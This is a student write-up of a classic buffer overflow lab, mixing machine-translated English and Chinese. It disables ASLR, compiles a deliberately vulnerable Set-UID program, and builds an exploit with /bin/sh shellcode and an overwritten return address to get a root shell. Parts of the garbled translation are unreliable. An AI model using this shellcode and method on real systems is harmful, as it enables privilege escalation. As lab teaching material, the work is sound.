20199308 "Linux kernel principle and Analysis" in Week 11 jobs

Buffer Overflow Vulnerability Experiment

Experimental Procedure

First, the initial setup

1, Ubuntu and other Linux systems, the use of address space randomization and initial address to a random heap stack (stack) of (heap), which makes guessing the exact address of the memory becomes very difficult, but speculation is the memory address buffer overflow critical attack. Therefore, in this experiment, we use the following command to turn off this feature:

$ sudo sysctl -w kernel.randomize_va_space=0

2. To further guard against buffer overflow attacks and other attacks using the shell program, many shell program automatically give up their privileges when invoked. So, even if you can cheat a Set-UID program calls a shell, can not remain in this shell with root privileges, this protective measures implemented in the / bin / bash in.

linux system, / bin / sh is actually a symbolic link to / bin / bash or / bin / dash of. In order to recreate the conditions before the protective measures are implemented, we use another shell program (zsh) instead of / bin / bash. The following instructions describe how to set zsh program:

$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit

3, enter the command "linux32" into the 32-bit linux environment. At this point you will find the command line is not so cool with them, such as not tab completion, and enter "/ bin / bash" to use bash

Second, the vulnerable program

Stack.c create a new file in the / tmp directory:

$ cd /tmp
$ vi stack.c

Pressing i Insert mode, and then enter the following:

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}


Can know by the code, the program will read the file named "badfile", and the file is loaded into the "buffer".

Compile the program and set the SET-UID. Command is as follows:

$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit

There is a GCC compiler stack protection mechanism to prevent buffer overflow, so we need to turn off this mechanism with -fno-stack-protector when compiling code. -Z execstack for allowing the execution stack.
-g parameter is to enable the compiled executable file can be used to get the gdb debugger.

Third, exploit

Our purpose is just to attack the vulnerable program and obtain root privileges by an attacker.

Exploit.c create a new file in the / tmp directory, enter the following:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

注意上面的代码,\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。

现在我们要得到 shellcode 在内存中的地址,输入命令:

# gdb 调试
$ gdb stack
$ disass main

按 q 键,再按 enter 键可退出调试。


根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffd420(十六进制) + 0x64(100的十六进制) = 0xffffd484(十六进制)

实际操作中你的地址和我这里的地址可能不一样,需要根据你实际输出的结果来计算。
现在修改exploit.c文件!将 \x??\x??\x??\x?? 修改为 \x84\xd4\xff\xff

然后,编译 exploit.c 程序:

$ gcc -m32 -o exploit exploit.c

先运行攻击程序 exploit,再运行漏洞程序 stack
whoami 是输入的命令,不是输出结果。

Guess you like

Origin www.cnblogs.com/hsj910/p/11943518.html